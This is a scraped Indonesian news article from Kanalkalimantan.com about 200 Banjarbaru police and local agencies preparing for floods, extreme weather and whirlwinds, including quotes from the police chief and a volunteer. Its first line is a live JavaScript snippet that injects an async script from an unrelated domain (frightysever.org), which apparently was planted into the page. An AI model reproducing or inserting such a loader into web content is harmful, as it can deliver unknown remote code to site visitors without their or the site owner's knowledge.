(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 200 personel Kepolisian Resor (Polres) Banjarbaru dikerahkan bersama lintas instansi di lingkup Pemerintah Kota Banjarbaru menghadapi potensi bencana hidrometeorologi yang terjadi di Ibu Kota Provinsi Kalimantan Selatan.
Demi kesiapsiagaan bencana hidrometeorologi seperti cuaca ekstrem, banjir, dan angin puting beliung digelar apel gabungan di lapangan hijau Mapolres Banjarbaru, Rabu (5/11/2025).
Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda menjelaskan, kesiapsiagaan yang dimaksud meliput tiga hal penting, pertama kesiapan sarana prasarana, kesiapan sumber daya manusia, dan kesiapan anggaran.
“Dari kegiatannya nanti yang jelas harus ada metode yang tepat, yang mana harus ada komunikasi, koordinasi, dan kolaborasi.
Sehingga semuanya bisa linear dan komprehensif dalam menghadapi bencana,” ujar Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda.
Kapolres Banjarbaru mengharapkan dengan lintas sektor dalam kesiapsiagaan bencana ini dapat dengan cepat dan segera membantu masyarakat yang terdampak.
“Kita memiliki kekuatan sekitar 200 personel. Kemudian dari masing-masing instansi yang nantinya akan mendukung di masing-masing Posko yang sudah terbentuk,” jelas dia.
Masih kata AKBP Pius, menurut pemenataan daerah rawan bencana tahun 2024 di Ibu Kota terdapat sejumlah wilayah yang bakal menjadi perhatian.
Dia menyebutkan ada daerah Cempaka, Landasan Ulin hingga di Banjarbaru Selatan tepatnya di kawasan Sungai Kemuning.
“Hidrometeorologi ini adalah banjir, angin puting beliung, dan cuaca ekstrim dan daerah rawan sesuai pemetaan tahun 2024, ada Cempaka dan Landasan Ulin, kemudian Banjarbaru Selatan ada Sungai Kemuning,” ungkap Kapolres.
Selain berkolaborasi dengan instansi di lingkup Pemerintah Kota Banjarbaru juga, Polres Banjarbaru menggandeng relawan-relawan bahkan masyarakat peduli bencana.
Edi Ngatimin, Relawan Regas Kelurahan Banjarbaru Utara. mengatakan bencana yang paling banyak terjadi di Banjarbaru selama ini adalah kebakaran dan juga kecelakaan.
“Sementara ini yang banyak kita tanggulangi api, cuma yang sangat dominan itu laka,” ujar Edi Ngatimin.
Sedangkan untuk bencana hidrometeorologi katanya belum ditemui para relawan namun mereka tetap melakukan kewaspadaan dan kesiapsiagaan.
“Sementara aman, kemarin memang ada puting beliung, termasuk puting beliung sekali, termasuk tenda kita sendiri pun terkena dahan pohon, cuman cepat saja bisa kita atasi,” ungkapnya.
Kendati demikian katanya tidak ditemukan kendala selama melakukan penanganan bencana-bencana di Ibu Kota Kalsel.
Dia berharap kepada pemerintah sekaligus aparat berwajib dapat terus memberikan dukungan, salah satunya melalui pemberian bantuan peralatan untuk menanggulangi bencana.
“Kalau alat lumayan minim, mudah-mudahan kita dapat tambahan-tambahan alat. Seperti yang urgent ada pompa air, serta perahu karet ya, itu untuk di lapangan kalau ada banjir,” harap Edi. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.